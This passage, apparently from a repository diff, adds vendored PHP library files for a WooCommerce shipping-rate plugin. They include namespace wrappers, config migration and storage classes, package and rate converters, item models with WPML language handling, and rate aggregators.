if ($this->wrapArrayCallable($tmp)) {
$callable = $tmp;
}
}
} elseif ($this->wrapArrayCallable($tmp)) {
$callable = $tmp;
}
return $callable;
}
public function klass($class)
{
if (is_string($class)) {
$this->wrapper->wrap($class, \WbsVendors\Dgm\ComposerCapsule\Runtime\Wrapper::REFKIND_CLASS);
}
return $class;
}
private $wrapper;
private $autoloaders = array();
private function wrapArrayCallable(&$callable)
{
if (is_array($callable) && count($callable) == 2) {
$k = key($callable);
$class = &$callable[$k];
$originalClass = $class;
$class = $this->klass($originalClass);
return $class !== $originalClass;
}
return false;
}
static private function normalizeCallable($callable)
{
if (is_string($callable)) {
if (count($tmp = explode('::', $callable, 2)) > 1) {
$callable = $tmp;
}
}
return $callable;
}
static private function getCallableId($callable)
{
$callable = self::normalizeCallable($callable);
if (!is_array($callable)) {
$callable = array($callable);
}
$callable = array_map(function($part) {
return is_object($part) ? '#'.spl_object_hash($part) : (string)$part;
}, $callable);
$callable = join('/', $callable);
return $callable;
}
}

View File

@@ -0,0 +1,52 @@
<?php
namespace WbsVendors\Dgm\ComposerCapsule\Runtime;
class Wrapper
{
const REFKIND_CLASS = 'class';
const REFKIND_FUNC = 'func';
const REFKIND_CONST = 'const';
public function __construct(array $wrap, array $unwrap)
{
$this->wrap = $wrap;
$this->unwrap = $unwrap;
}
/**
* Wraps a known reference with the root namespace. Unknown references aren't changed.
*
* @param string $reference
* @param string $kind
* @return bool True if the reference has been prefixed
*/
public function wrap(&$reference, $kind)
{
$bucket = $this->wrap[$kind];
if (isset($bucket[$reference])) {
$reference = $bucket[$reference];
return true;
}
return false;
}
public function unwrap(&$reference, $kind)
{
$bucket = $this->unwrap[$kind];
if (isset($bucket[$reference])) {
$reference = $bucket[$reference];
return true;
}
return false;
}
private $wrap;
private $unwrap;
}

View File

@@ -0,0 +1,31 @@
<?php
namespace WbsVendors\Deferred;
/**
* Defers function call until this object destruction.
*
* Can be used for "finally" reserved word emulation.
*/
class Deferred
{
public function __construct($callback)
{
$this->callback = $callback;
}
public function __destruct()
{
$callback = $this->callback;
if (!isset($callback))
{
return;
}
$this->callback = null;
$callback();
}
private $callback;
}

View File

@@ -0,0 +1,36 @@
<?php
namespace WbsVendors\Dgm\NumberUnit;
use Dgm\Comparator\NumberComparator;
class NumberUnit extends \WbsVendors\Dgm\Comparator\NumberComparator
{
/** @var self */
static $ASIS;
/** @var self */
static $INT;
/**
* Returns how many chunks of $chunk size are in the $value.
* Roughly, ceil($value / $chunk).
*
* @param number $value
* @param number $chunk
* @return int
*/
public function chunks($value, $chunk)
{
$chunk = $this->normalize($chunk);
if ($chunk == 0) {
throw new \InvalidArgumentException("Chunk size cannot be zero.");
}
return (int)ceil($this->normalize($value) / $chunk);
}
}
\WbsVendors\Dgm\NumberUnit\NumberUnit::$ASIS = new \WbsVendors\Dgm\NumberUnit\NumberUnit(null);
\WbsVendors\Dgm\NumberUnit\NumberUnit::$INT = new \WbsVendors\Dgm\NumberUnit\NumberUnit(1);

View File

@@ -0,0 +1,48 @@
<?php
namespace WbsVendors\Dgm\Range;
use Dgm\SimpleProperties\SimpleProperties;
use Dgm\Comparator\IComparator;
/**
* @property-read mixed $min
* @property-read mixed $max
* @property-read bool $minInclusive
* @property-read bool $maxInclusive
*/
class Range extends \WbsVendors\Dgm\SimpleProperties\SimpleProperties
{
public function __construct($min, $max, $minInclusive = true, $maxInclusive = true)
{
$this->min = $min;
$this->max = $max;
$this->minInclusive = (bool)$minInclusive;
$this->maxInclusive = (bool)$maxInclusive;
}
public function clamp($value)
{
if (isset($this->min)) {
$value = max($this->min, $value);
}
if (isset($this->max)) {
$value = min($this->max, $value);
}
return $value;
}
public function includes($value, \WbsVendors\Dgm\Comparator\IComparator $comparator)
{
return
(!isset($this->min) || $comparator->greater($value, $this->min, $this->minInclusive)) &&
(!isset($this->max) || $comparator->less($value, $this->max, $this->maxInclusive));
}
protected $min;
protected $max;
protected $minInclusive;
protected $maxInclusive;
}

View File

@@ -0,0 +1,74 @@
<?php
namespace WbsVendors\Dgm\Shengine\Migrations;
use Dgm\Shengine\Migrations\Interfaces\Storage\IStorage;
abstract class AbstractConfigStorage
{
public function __construct($sqlLikePattern, \WbsVendors\Dgm\Shengine\Migrations\Interfaces\Storage\IStorage $storage)
{
$this->sqlLikePattern = $sqlLikePattern;
$this->storage = $storage;
}
public function backup($configVersion, $backupTime)
{
foreach ($this->findConfigKeys() as $key) {
$bkpKey = null; {
$idx = 1;
do {
$bkpKey = "{$key}{$this->bkpMarker}{$configVersion}_{$idx}";
$idx++;
} while ($this->storage->get($bkpKey, false) !== false);
}
$this->storage->set($bkpKey, json_encode(array(
'time' => $backupTime,
'time_utc' => gmdate('Y-m-d H:i:s', $backupTime),
'config' => $this->storage->get($key),
)), false);
}
}
public function forEachConfig($callback)
{
foreach ($this->findConfigKeys() as $key) {
$config = $this->read($key);
$config = $callback($config);
$this->write($key, $config);
}
}
public abstract function forEachRule($fromConfig, $callback);
protected function read($key)
{
return $this->storage->get($key);
}
protected function write($key, $config)
{
$this->storage->set($key, $config);
}
private $sqlLikePattern;
private $storage;
private $bkpMarker = '__bkp_';
private function findConfigKeys()
{
$configKeys = $this->storage->findKeysLike($this->sqlLikePattern);
foreach ($configKeys as $i => $key) {
if (strpos($key, $this->bkpMarker) !== false) {
unset($configKeys[$i]);
}
}
return $configKeys;
}
}

View File

@@ -0,0 +1,12 @@
<?php
namespace WbsVendors\Dgm\Shengine\Migrations\Interfaces\Migrations;
interface IConfigMigration
{
/**
* @param array $config
* @return array
*/
function migrateConfig(array $config);
}

View File

@@ -0,0 +1,12 @@
<?php
namespace WbsVendors\Dgm\Shengine\Migrations\Interfaces\Migrations;
interface IRuleMigration
{
/**
* @param mixed $rule
* @return mixed
*/
function migrateRule($rule);
}

View File

@@ -0,0 +1,26 @@
<?php
namespace WbsVendors\Dgm\Shengine\Migrations\Interfaces\Storage;
interface IStorage extends \WbsVendors\Dgm\Shengine\Migrations\Interfaces\Storage\IStorageAccess
{
/**
* @param string $key
* @param mixed $default
* @return IStorageRecord
*/
function bind($key, $default = null);
/**
* @param string $sqlLikePatterns A pattern formed for SQL LIKE operator. Don't forget to escape special
* chars such as '%', '\' and '_' with {@see IStorageDriver::escapeForLike()}.
* @return string[]|iterable A list of keys matching the pattern.
*/
function findKeysLike($sqlLikePatterns);
/**
* @param string $string
* @return string
*/
function escapeForLikePattern($string);
}

View File

@@ -0,0 +1,20 @@
<?php
namespace WbsVendors\Dgm\Shengine\Migrations\Interfaces\Storage;
interface IStorageAccess
{
/**
* @param string $key
* @param mixed $default
* @return mixed
*/
function get($key, $default = false);
/**
* @param string $key
* @param mixed $value
* @param bool|null $autoload
*/
function set($key, $value, $autoload = null);
}

View File

@@ -0,0 +1,16 @@
<?php
namespace WbsVendors\Dgm\Shengine\Migrations\Interfaces\Storage;
interface IStorageRecord
{
/**
* @return mixed
*/
function get();
/**
* @param mixed $value
*/
function set($value);
}

View File

@@ -0,0 +1,123 @@
<?php
namespace WbsVendors\Dgm\Shengine\Migrations;
use Dgm\PluginServices\IService;
use Dgm\PluginServices\IServiceReady;
use Dgm\Shengine\Migrations\Interfaces\Migrations\IConfigMigration;
use Dgm\Shengine\Migrations\Interfaces\Migrations\IRuleMigration;
use Dgm\Shengine\Migrations\Interfaces\Storage\IStorageRecord;
use Dgm\WcTools\WcTools;
class MigrationService implements \WbsVendors\Dgm\PluginServices\IService, \WbsVendors\Dgm\PluginServices\IServiceReady
{
public function __construct($currentVersion,
\WbsVendors\Dgm\Shengine\Migrations\Interfaces\Storage\IStorageRecord $migrateFromVersion,
$migrationsPath,
\WbsVendors\Dgm\Shengine\Migrations\AbstractConfigStorage $configStorage)
{
$this->currentVersion = $currentVersion;
$this->migrateFromVersion = $migrateFromVersion;
$this->migrationsPath = $migrationsPath;
$this->configStorage = $configStorage;
}
public function ready()
{
return $this->currentVersion !== $this->migrateFromVersion->get();
}
public function install()
{
if (did_action('plugins_loaded')) {
$this->migrate();
} else {
add_action('plugins_loaded', array($this, 'migrate'));
}
}
public function migrate($now = null)
{
if (!isset($now)) {
$now = time();
}
$currentVersion = $this->currentVersion;
$migrateFromVersion = $this->migrateFromVersion->get();
if (empty($migrateFromVersion)) {
$migrateFromVersion = '0.0.0';
}
if (version_compare($migrateFromVersion, $currentVersion, '<')) {
$migrationFiles = $this->loadSortedMigrationFiles();
$migrations = array();
foreach ($migrationFiles as $fromVersion => $file) {
if (version_compare($migrateFromVersion, $fromVersion, '<=')) {
/** @noinspection PhpIncludeInspection */
$migrations[] = include($file);
}
}
if ($migrations) {
$this->configStorage->backup($migrateFromVersion, $now);
$self = $this;
$this->configStorage->forEachConfig(function($config) use ($self, $migrations) {
foreach ($migrations as $migration) {
if ($migration instanceof \WbsVendors\Dgm\Shengine\Migrations\Interfaces\Migrations\IRuleMigration) {
$config = $self->configStorage->forEachRule($config, array($migration, 'migrateRule'));
}
if ($migration instanceof \WbsVendors\Dgm\Shengine\Migrations\Interfaces\Migrations\IConfigMigration) {
$config = $migration->migrateConfig($config);
}
}
return $config;
});
$this->afterMigration();
}
}
if ($migrateFromVersion !== $currentVersion) {
$this->migrateFromVersion->set($currentVersion);
}
}
protected function afterMigration()
{
// Although, in theory, we don't need to purge shipping cache since we always expect to produce
// a similar functioning config after migrations, in practice, we'd better allow a user to test
// a new config right after migration in case there is any issue with that rather than showing
// results cached from a previous config.
\WbsVendors\Dgm\WcTools\WcTools::purgeShippingCache();
}
private $currentVersion;
private $migrateFromVersion;
private $migrationsPath;
private $configStorage;
private function loadSortedMigrationFiles()
{
$files = glob($this->migrationsPath.'/*.php', GLOB_NOSORT);
foreach ($files as $key => $file) {
unset($files[$key]);
$files[pathinfo($file, PATHINFO_FILENAME)] = $file;
}
uksort($files, 'version_compare');
return $files;
}
}

View File

@@ -0,0 +1,72 @@
<?php
namespace WbsVendors\Dgm\Shengine\Migrations\Storage;
use Dgm\Shengine\Migrations\Interfaces\Storage\IStorage;
/**
* Simple in-memory IStorage implementation supposed mainly for mocking.
*/
class ArrayStorage implements \WbsVendors\Dgm\Shengine\Migrations\Interfaces\Storage\IStorage
{
public function __construct(array $array = array())
{
$this->array = $array;
}
public function get($key, $default = null)
{
return array_key_exists($key, $this->array) ? $this->array[$key] : $default;
}
public function set($key, $value, $autoload = null)
{
$this->array[$key] = $value;
}
public function bind($key, $default = null)
{
return new \WbsVendors\Dgm\Shengine\Migrations\Storage\StorageRecord($this, $key, $default);
}
public function findKeysLike($sqlLikePattern)
{
$regex = array();
for ($i=0; $i<strlen($sqlLikePattern); $i++) {
$c = $sqlLikePattern[$i];
switch ($c) {
case '\\':
$cn = $sqlLikePattern[$i+1];
if (in_array($cn, array('\\', '%', '_'))) {
$regex[] = preg_quote($cn, '/');
$i++;
}
break;
case '%':
$regex[] = ".*";
break;
case '_':
$regex[] = '.';
break;
default:
$regex[] = preg_quote($c, '/');
}
}
$regex = '/^'.join('', $regex).'$/i';
$matchingKeys = array_values(array_filter(array_keys($this->array), function($k) use($regex) {
return preg_match($regex, $k);
}));
return $matchingKeys;
}
public function escapeForLikePattern($string)
{
return addcslashes($string, '_%\\');
}
public $array = array();
}

View File

@@ -0,0 +1,30 @@
<?php
namespace WbsVendors\Dgm\Shengine\Migrations\Storage;
use Dgm\Shengine\Migrations\Interfaces\Storage\IStorageAccess;
use Dgm\Shengine\Migrations\Interfaces\Storage\IStorageRecord;
class StorageRecord implements \WbsVendors\Dgm\Shengine\Migrations\Interfaces\Storage\IStorageRecord
{
public function __construct(\WbsVendors\Dgm\Shengine\Migrations\Interfaces\Storage\IStorageAccess $parent, $key, $default = null)
{
$this->parent = $parent;
$this->key = $key;
$this->default = $default;
}
public function get()
{
return $this->parent->get($this->key, $this->default);
}
public function set($value)
{
$this->parent->set($this->key, $value);
}
private $parent;
private $key;
private $default;
}

View File

@@ -0,0 +1,49 @@
<?php
namespace WbsVendors\Dgm\Shengine\Migrations\Storage;
use Dgm\Shengine\Migrations\Interfaces\Storage\IStorage;
use wpdb;
class WordpressOptions implements \WbsVendors\Dgm\Shengine\Migrations\Interfaces\Storage\IStorage
{
public function __construct(wpdb $wpdb)
{
$this->wpdb = $wpdb;
}
public function bind($key, $default = null)
{
return new \WbsVendors\Dgm\Shengine\Migrations\Storage\StorageRecord($this, $key, $default);
}
public function get($key, $default = null)
{
return get_option($key, $default);
}
public function set($key, $value, $autoload = null)
{
update_option($key, $value, $autoload);
}
public function findKeysLike($sqlLikePattern)
{
$query = $this->wpdb->prepare("
SELECT `option_name`
FROM {$this->wpdb->options}
WHERE `option_name` LIKE %s",
$sqlLikePattern);
$keys = $this->wpdb->get_col($query, 0);
return $keys;
}
public function escapeForLikePattern($string)
{
return $this->wpdb->esc_like($string);
}
private $wpdb;
}

View File

@@ -0,0 +1,342 @@
<?php
namespace WbsVendors\Dgm\Shengine\Woocommerce\Converters;
use Deferred\Deferred;
use Dgm\Shengine\Attributes\ProductVariationAttribute;
use Dgm\Shengine\Grouping\AttributeGrouping;
use Dgm\Shengine\Interfaces\IItem;
use Dgm\Shengine\Interfaces\IPackage;
use Dgm\Shengine\Model\Address;
use Dgm\Shengine\Model\Customer;
use Dgm\Shengine\Model\Destination;
use Dgm\Shengine\Model\Dimensions;
use Dgm\Shengine\Model\Package;
use Dgm\Shengine\Model\Price;
use Dgm\Shengine\Woocommerce\Model\Item\WoocommerceItem;
use Dgm\Shengine\Woocommerce\Model\Item\WpmlAwareItem;
use WC_Cart;
use WC_Product;
use WC_Product_Variation;
class PackageConverter
{
/**
* @param IPackage $package
* @return array
*/
public static function fromCoreToWoocommerce(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
$wcpkg = array();
$wcpkg['contents'] = self::makeWcItems($package);
$wcpkg['contents_cost'] = self::calcContentsCostField($wcpkg['contents']);
$wcpkg['applied_coupons'] = $package->getCoupons();
$wcpkg['user']['ID'] = self::getCustomerId($package);
$wcpkg['destination'] = self::getDestination($package);
return $wcpkg;
}
/**
* @param array $_package
* @param WC_Cart|null $cart If passed and $_package is the entire order, the returned package will contain
* non-shippable (virtual or others) items as well. Set to null to cancel that behavior.
* @return IPackage
*/
public static function fromWoocommerceToCore(array $_package, WC_Cart $cart = null)
{
$skipNonShippableItems = true;
if (isset($cart)) {
$globalPackages = $cart->get_shipping_packages();
if (count($globalPackages) === 1 && self::comparePackages(reset($globalPackages), $_package)) {
add_filter($fltr = 'woocommerce_product_needs_shipping', $fltrcb = '__return_true', $fltpr = PHP_INT_MAX, 0);
$deferred = new \WbsVendors\Deferred\Deferred(function() use($fltr, $fltrcb, $fltpr) {
remove_filter($fltr, $fltrcb, $fltpr);
});
$globalPackages = $cart->get_shipping_packages();
unset($deferred);
$_package = reset($globalPackages);
$skipNonShippableItems = false;
}
}
$items = array();
foreach ((array)@$_package['contents'] as $_item) {
/** @var WC_Product $product */
$product = $_item['data'];
if ($skipNonShippableItems && !$product->needs_shipping()) {
continue;
}
$quantity = null;
$weightFactor = 1;
{
$quantity = $_item['quantity'];
if (!is_numeric($quantity)) {
self::error("Invalid quantity '{$quantity}' (not a number) for product #{$_item['id']}.");
continue;
}
$quantity = self::isConvertibleToInt($quantity) ? (int)$quantity : (float)$quantity;
if ($quantity <= 0) {
if ($quantity < 0) {
self::error("Invalid quantity '{$quantity}' (negative number) for product #{$_item['id']}.");
}
continue;
}
if (is_float($quantity) || self::supportsFractionalQuantity($product)) {
$weightFactor = $quantity;
$quantity = 1;
}
}
// line_subtotal = base price
// line_total = base price with discount
// line_subtotal_tax = tax for base price
// line_tax = tax for base price with discounts
$price = new \WbsVendors\Dgm\Shengine\Model\Price(
$_item['line_subtotal'] / $quantity,
$_item['line_subtotal_tax'] / $quantity,
($_item['line_subtotal'] - $_item['line_total']) / $quantity,
($_item['line_subtotal_tax'] - $_item['line_tax']) / $quantity
);
$variationAttributes = array();
foreach ((@$_item['variation'] ?: array()) as $attr => $value) {
if (substr_compare($attr, 'attribute_', 0, 10) == 0) {
$variationAttributes[substr($attr, 10)] = $value;
}
}
while ($quantity--) {
$item = new \WbsVendors\Dgm\Shengine\Woocommerce\Model\Item\WpmlAwareItem();
$item->setPrice($price);
$item->setDimensions(self::getDimensions($product));
$item->setProductId((string)self::getProductAttr($product, 'id'));
$item->setWeight((float)$product->get_weight() * $weightFactor);
$item->setOriginalProductObject($product);
$item->setProductVariationId(self::getProductAttr($product, 'variation_id'));
$item->setVariationAttributes($variationAttributes);
$items[] = $item;
}
}
$destination = null;
if (($dest = @$_package['destination']) && @$dest['country']) {
$destination = new \WbsVendors\Dgm\Shengine\Model\Destination(
$dest['country'],
@$dest['state'],
@$dest['postcode'],
@$dest['city'],
new \WbsVendors\Dgm\Shengine\Model\Address(@$dest['address'], @$dest['address_2'])
);
}
$customer = null;
if (isset($_package['user']['ID'])) {
$customer = new \WbsVendors\Dgm\Shengine\Model\Customer($_package['user']['ID']);
}
$coupons = array();
if (!empty($_package['applied_coupons'])) {
$coupons = array_map('strtolower', $_package['applied_coupons']);
}
return new \WbsVendors\Dgm\Shengine\Model\Package($items, $destination, $customer, $coupons);
}
private static function comparePackages(array $package1, array $package2)
{
unset($package1['rates'], $package2['rates']);
if ($package1 === $package2) {
return true;
}
ksort($package1);
ksort($package2);
if ($package1 === $package2) {
return true;
}
return false;
}
private static function makeWcItems(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
$wcItems = array();
$lineGrouping = new \WbsVendors\Dgm\Shengine\Grouping\AttributeGrouping(new \WbsVendors\Dgm\Shengine\Attributes\ProductVariationAttribute());
$lines = $package->split($lineGrouping);
foreach ($lines as $line) {
$items = $line->getItems();
if (!$items) {
continue;
}
/** @var IItem $item */
$item = reset($items);
$product = null; {
if ($item instanceof \WbsVendors\Dgm\Shengine\Woocommerce\Model\Item\WoocommerceItem) {
/** @var WoocommerceItem $item */
$product = $item->getOriginalProductObject();
}
if (!isset($product)) {
$productPostId = $item->getProductVariationId();
if (!isset($productPostId)) {
$productPostId = $item->getProductId();
}
$product = wc_get_product($productPostId);
}
}
$wcItem = array(); {
$wcItem['data'] = $product;
$wcItem['quantity'] = count($items);
$wcItem['product_id'] = self::getProductAttr($product, 'id');
$wcItem['variation_id'] = self::getProductAttr($product, 'variation_id');
$wcItem['variation'] = ($product instanceof WC_Product_Variation) ? $product->get_variation_attributes() : null;
$wcItem['line_total'] = $line->getPrice(\WbsVendors\Dgm\Shengine\Model\Price::WITH_DISCOUNT);
$wcItem['line_tax'] = $line->getPrice(\WbsVendors\Dgm\Shengine\Model\Price::WITH_DISCOUNT | \WbsVendors\Dgm\Shengine\Model\Price::WITH_TAX) - $wcItem['line_total'];
$wcItem['line_subtotal'] = $line->getPrice(\WbsVendors\Dgm\Shengine\Model\Price::BASE);
$wcItem['line_subtotal_tax'] = $line->getPrice(\WbsVendors\Dgm\Shengine\Model\Price::WITH_TAX) - $wcItem['line_subtotal'];
}
// We don't want to have a cart instance dependency just to generate line id. generate_cart_id() method
// is a static method both conceptually and actually, i.e. it does not (should not) depend on actual
// cart instance. So we'd rather call it statically.
/** @noinspection PhpDynamicAsStaticMethodCallInspection */
$wcItemId = @WC_Cart::generate_cart_id($wcItem['product_id'], $wcItem['variation_id'], $wcItem['variation']);
$wcItems[$wcItemId] = $wcItem;
}
return $wcItems;
}
private static function calcContentsCostField($wcItems)
{
$value = 0;
foreach ($wcItems as $item) {
/** @var WC_Product $product */
$product = $item['data'];
if ($product->needs_shipping() && isset($item['line_total'])) {
$value += $item['line_total'];
}
}
return $value;
}
private static function getCustomerId(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
if ($customer = $package->getCustomer()) {
return $customer->getId();
}
return null;
}
private static function getDestination(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
if ($destination = $package->getDestination()) {
$address = $destination->getAddress();
return array_map('strval', array(
'country' => $destination->getCountry(),
'state' => $destination->getState(),
'postcode' => $destination->getPostalCode(),
'city' => $destination->getCity(),
'address' => $address ? $address->getLine1() : null,
'address_2' => $address ? $address->getLine2() : null,
));
}
return null;
}
private static function getDimensions(WC_Product $product)
{
return new \WbsVendors\Dgm\Shengine\Model\Dimensions(
(float)self::getProductAttr($product, 'length'),
(float)self::getProductAttr($product, 'width'),
(float)self::getProductAttr($product, 'height')
);
}
private static function getProductAttr(WC_Product $product, $attr)
{
if (version_compare(WC()->version, '3.0', '>=')) {
switch ((string)$attr) {
case 'id':
return $product->is_type('variation') ? $product->get_parent_id() : $product->get_id();
case 'variation_id':
return $product->is_type('variation') ? $product->get_id() : null;
default:
return call_user_func(array(\WbsVendors_CCR::klass($product), "get_{$attr}"));
}
}
return $product->{$attr};
}
/**
* Checks whether a value can be converted to int without loosing precision.
*
* isConvertibleToInt("1.0") => true
* isConvertibleToInt(1.0) => true
* isConvertibleToInt(1e5) => true
* isConvertibleToInt(1.5) => false
* isConvertibleToInt([]) => false
* isConvertibleToInt(PHP_INT_MAX+1) => false
* isConvertibleToInt(1e10) => fale
*
* @param mixed $value
* @return bool
*/
private static function isConvertibleToInt($value)
{
return is_numeric($value) && (int)$value == (float)$value;
}
/**
* @param WC_Product $product
* @return bool
*/
private static function supportsFractionalQuantity(WC_Product $product)
{
return
!self::isConvertibleToInt(apply_filters('woocommerce_quantity_input_max', 0, $product)) ||
!self::isConvertibleToInt(apply_filters('woocommerce_quantity_input_max', -1, $product)) ||
!self::isConvertibleToInt(apply_filters('woocommerce_quantity_input_step', 1, $product));
}
private static function error($message)
{
trigger_error($message, E_USER_ERROR);
}
}

View File

@@ -0,0 +1,76 @@
<?php
namespace WbsVendors\Dgm\Shengine\Woocommerce\Converters;
use Dgm\Arrays\Arrays;
use Dgm\Shengine\Interfaces\IRate;
use Dgm\Shengine\Model\Rate;
use WC_Shipping_Rate;
class RateConverter
{
/**
* @param WC_Shipping_Rate[] $_rates
* @return IRate[]
*/
public static function fromWoocommerceToCore(array $_rates)
{
return \WbsVendors\Dgm\Arrays\Arrays::map($_rates, function(WC_Shipping_Rate $_rate) {
return new \WbsVendors\Dgm\Shengine\Model\Rate($_rate->cost, $_rate->label);
});
}
/**
* @param IRate[] $rates
* @param string $defaultTitle
* @param string|null $idPrefix
* @return array Woocommerce rates to add with WC_Shipping_Method::add_rate()
*/
static public function fromCoreToWoocommerce(array $rates, $defaultTitle, $idPrefix = null)
{
$_rates = array();
$wcRateIdsCounters = array();
foreach ($rates as $rate) {
$title = $rate->getTitle();
if (!isset($title)) {
$title = $defaultTitle;
}
$idParts = array();
$hash = substr(md5($title), 0, 8);
$idParts[] = $hash;
$slug = strtolower($title);
$slug = preg_replace('/[^a-z0-9]+/', '_', $slug);
$slug = preg_replace('/_+/', '_', $slug);
$slug = trim($slug, '_');
if ($slug !== '') {
$idParts[] = $slug;
}
$id = join('_', $idParts);
isset($wcRateIdsCounters[$id]) ? $wcRateIdsCounters[$id]++ : ($wcRateIdsCounters[$id]=0);
if (($count = $wcRateIdsCounters[$id]) > 0) {
$id .= '_'.($count+1);
}
if (isset($idPrefix)) {
$id = $idPrefix.$id;
}
$_rates[] = array(
'id' => $id,
'label' => $title,
'cost' => $rate->getCost(),
'taxes' => $rate->isTaxable() === false ? false : null
);
}
return $_rates;
}
}

View File

@@ -0,0 +1,96 @@
<?php
namespace WbsVendors\Dgm\Shengine\Woocommerce\Model\Item;
use Dgm\Shengine\Model\Item;
use RuntimeException;
use Dgm\Arrays\Arrays;
use WC_Product;
class WoocommerceItem extends \WbsVendors\Dgm\Shengine\Model\Item
{
public function getTerms($taxonomy)
{
$terms = null;
if (isset(self::$map[$taxonomy])) {
$taxonomy = self::$map[$taxonomy];
}
$taxonomy = (string)$taxonomy;
$productId = $this->getProductId();
$variationId = $this->getProductVariationId();
$termsResult = false;
// Find a term if the taxonomy is related to some product attribute used in this product variation.
// That requires a special handling since Woocommerce stores variation attributes in a special way.
if ($termsResult === false && isset($variationId) &&
in_array($taxonomy, wc_get_attribute_taxonomy_names(), true) &&
($attributeTermSlug = @$this->variationAttributes[$taxonomy]) !== null) {
$termsResult = array();
foreach (get_the_terms($productId, $taxonomy) as $term) {
if ($term->slug === $attributeTermSlug) {
$termsResult[] = $term;
break;
}
}
}
if ($termsResult === false && isset($variationId)) {
$termsResult = get_the_terms($variationId, $taxonomy);
}
if ($termsResult === false) {
$termsResult = get_the_terms($productId, $taxonomy);
}
if ($termsResult === false) {
$termsResult = array();
}
if (is_wp_error($termsResult)) {
throw new RuntimeException($termsResult->get_error_message());
}
$terms = \WbsVendors\Dgm\Arrays\Arrays::map($termsResult, function ($term) {
return $term->term_id;
});
return $terms;
}
public function setTerms($taxonomy, array $terms = null)
{
throw new \BadMethodCallException("Setting terms on woocommerce item is not supported");
}
public function getOriginalProductObject()
{
return $this->originalProductObject;
}
public function setOriginalProductObject(WC_Product $product)
{
$this->originalProductObject = $product;
}
public function setVariationAttributes(array $attributes)
{
$this->variationAttributes = $attributes;
}
/** @var WC_Product */
private $originalProductObject;
private $variationAttributes;
static private $map = array(
self::TAXONOMY_SHIPPING_CLASS => 'product_shipping_class',
self::TAXONOMY_TAG => 'product_tag',
self::TAXONOMY_CATEGORY => 'product_cat',
);
}

View File

@@ -0,0 +1,26 @@
<?php
namespace WbsVendors\Dgm\Shengine\Woocommerce\Model\Item;
use Deferred\Deferred;
class WpmlAwareItem extends \WbsVendors\Dgm\Shengine\Woocommerce\Model\Item\WoocommerceItem
{
public function getTerms($taxonomy)
{
global $sitepress;
if (isset($sitepress)) {
$lang = $sitepress->get_current_language();
$restoreLanguage = new \WbsVendors\Deferred\Deferred(function() use($sitepress, $lang) {
$sitepress->switch_lang($lang);
});
$sitepress->switch_lang($sitepress->get_default_language());
}
return parent::getTerms($taxonomy);
}
}

View File

@@ -0,0 +1,27 @@
<?php
namespace WbsVendors\Dgm\Shengine\Aggregators;
use Dgm\ClassNameAware\ClassNameAware;
use Dgm\Shengine\Interfaces\IAggregator;
use Dgm\Shengine\Model\Rate;
class AverageAggregator extends \WbsVendors\Dgm\ClassNameAware\ClassNameAware implements \WbsVendors\Dgm\Shengine\Interfaces\IAggregator
{
public function __construct()
{
$this->sum = new \WbsVendors\Dgm\Shengine\Aggregators\SumAggregator();
}
public function aggregateRates(array $rates)
{
$result = $this->sum->aggregateRates($rates);
if (isset($result)) {
$result = new \WbsVendors\Dgm\Shengine\Model\Rate($result->getCost() / count($rates), $result->getTitle());
}
return $result;
}
private $sum;
}

View File

@@ -0,0 +1,14 @@
<?php
namespace WbsVendors\Dgm\Shengine\Aggregators;
use Dgm\ClassNameAware\ClassNameAware;
use Dgm\Shengine\Interfaces\IAggregator;
class FirstAggregator extends \WbsVendors\Dgm\ClassNameAware\ClassNameAware implements \WbsVendors\Dgm\Shengine\Interfaces\IAggregator
{
public function aggregateRates(array $rates)
{
return $rates ? reset($rates) : null;
}
}

View File

@@ -0,0 +1,14 @@
<?php
namespace WbsVendors\Dgm\Shengine\Aggregators;
use Dgm\ClassNameAware\ClassNameAware;
use Dgm\Shengine\Interfaces\IAggregator;
class LastAggregator extends \WbsVendors\Dgm\ClassNameAware\ClassNameAware implements \WbsVendors\Dgm\Shengine\Interfaces\IAggregator
{
public function aggregateRates(array $rates)
{
return $rates ? end($rates) : null;
}
}

View File

@@ -0,0 +1,17 @@
<?php
namespace WbsVendors\Dgm\Shengine\Aggregators;
use Dgm\Shengine\Interfaces\IRate;
class MaxAggregator extends \WbsVendors\Dgm\Shengine\Aggregators\ReduceAggregator
{
protected function reduce(\WbsVendors\Dgm\Shengine\Interfaces\IRate $carry = null, \WbsVendors\Dgm\Shengine\Interfaces\IRate $current)
{
if (!isset($carry) || $carry->getCost() < $current->getCost()) {
$carry = $current;
}
return $carry;
}
}

View File

@@ -0,0 +1,17 @@
<?php
namespace WbsVendors\Dgm\Shengine\Aggregators;
use Dgm\Shengine\Interfaces\IRate;
class MinAggregator extends \WbsVendors\Dgm\Shengine\Aggregators\ReduceAggregator
{
protected function reduce(\WbsVendors\Dgm\Shengine\Interfaces\IRate $carry = null, \WbsVendors\Dgm\Shengine\Interfaces\IRate $current)
{
if (!isset($carry) || $carry->getCost() > $current->getCost()) {
$carry = $current;
}
return $carry;
}
}

View File

@@ -0,0 +1,41 @@
<?php
namespace WbsVendors\Dgm\Shengine\Aggregators;
use Dgm\ClassNameAware\ClassNameAware;
use Dgm\Shengine\Interfaces\IAggregator;
use Dgm\Shengine\Interfaces\IRate;
use Dgm\Shengine\Model\Rate;
use Dgm\Shengine\Processing\RateRegister;
abstract class ReduceAggregator extends \WbsVendors\Dgm\ClassNameAware\ClassNameAware implements \WbsVendors\Dgm\Shengine\Interfaces\IAggregator
{
public function aggregateRates(array $rates)
{
$rate = $this->_reduce($rates);
if ($rate instanceof \WbsVendors\Dgm\Shengine\Processing\RateRegister) {
$rate = $rate->toRate();
}
return $rate;
}
/**
* @param IRate $carry
* @param IRate $current
* @return IRate
*/
protected abstract function reduce(\WbsVendors\Dgm\Shengine\Interfaces\IRate $carry = null, \WbsVendors\Dgm\Shengine\Interfaces\IRate $current);
private function _reduce(array $rates)
{
$carry = null;
foreach ($rates as $rate) {
$carry = $this->reduce($carry, $rate);
}
return $carry;
}
}

View File

@@ -0,0 +1,20 @@
<?php
namespace WbsVendors\Dgm\Shengine\Aggregators;
use Dgm\Shengine\Interfaces\IRate;
use Dgm\Shengine\Processing\RateRegister;
class SumAggregator extends \WbsVendors\Dgm\Shengine\Aggregators\ReduceAggregator
{
protected function reduce(\WbsVendors\Dgm\Shengine\Interfaces\IRate $carry = null, \WbsVendors\Dgm\Shengine\Interfaces\IRate $current)
{
if (!isset($carry)) {
